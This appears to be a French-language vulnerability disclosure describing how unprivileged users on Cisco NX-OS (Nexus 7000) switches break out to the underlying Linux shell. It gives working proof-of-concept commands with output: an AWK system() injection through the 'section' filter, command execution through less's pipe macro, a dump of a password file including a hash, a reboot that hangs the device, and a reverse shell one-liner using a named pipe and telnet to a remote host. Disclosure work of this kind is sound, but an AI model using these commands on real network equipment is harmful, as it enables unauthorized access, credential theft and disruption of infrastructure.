
Vulnérabilités de sécurité publiées, recherches et informations associées.
Un accès local est requis. Cependant, les comptes non privilégiés peuvent obtenir un accès au système d'exploitation Linux sous-jacent, ce qui fournit en pratique un accès complet à l'équipement. Cela pourrait potentiellement poser problème dans les environnements où le NOC et d'autres membres du personnel disposent d'un accès de bas niveau pour le premier point de contact, etc.
Ce problème a été découvert sur la plateforme Nexus 7000. On pense qu'il affecte également les plateformes suivantes :
La commande section semble être un script AWK auquel la chaîne demandée est transmise. Cependant, l'entrée ne semble pas être correctement assainie. Par conséquent, AWK peut être utilisé pour exécuter des commandes arbitraires sur le sous-système Linux.
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk
Warning: There is already a file existing with this name. Do you want to
overwrite (yes/no)? [no] y
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
uid=2003(user) gid=504(network-operator)
11:16:04.082 UTC Wed Jul 13 2011
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/' > 20110713.awk
nx1# sh clock | sec '* -f /bootflash/20110713.awk '
ascii
bin
boot
cfglabel.sysmgr
debug
licenses
linux
log
lost+found
11:18:41.885 UTC Wed Jul 13 2011
Cela peut même être utilisé pour supprimer tous les fichiers du bootflash et envoyer une commande « reboot » au système. Cependant, un redémarrage depuis le sous-système Linux provoque l'affichage de messages en rafale sur la console et le blocage de l'équipement, plutôt qu'un véritable rechargement de l'équipement.
On pense que les versions de logiciel suivantes sont concernées :
À titre d'exemple :
switch# sh clock | less
Une fois less affiché, nous ouvrons des fichiers en appuyant sur la touche deux-points puis « e » et en spécifiant le chemin du fichier.
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm
Cependant, il ne s'agit là encore que d'un accès en lecture seule. MAIS, si nous utilisons la macro de touche « | » (pipe) puis « $ », nous pouvons exécuter des commandes.
!ls -lah > /bootflash/20110715
Comme illustré ci-dessous, le fichier a été créé sur la boot-flash.
switch# dir
97 Jul 15 12:01:44 2011 20110715
Grâce à cette méthode, j'ai pu établir un shell distant dans le sous-système Linux de NX-OS en utilisant ce qui suit :
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs
Même la commande reboot est acceptée comme entrée valide. Cependant, plutôt que de redémarrer l'équipement, elle provoque le blocage du système tout en affichant des erreurs en rafale sur la console.
switch# sh clock | less
Fri Jul 15 12:06:30 UTC 2011
!reboot
Broadcast message from root (Fri Jul 15 12:06:39 2011):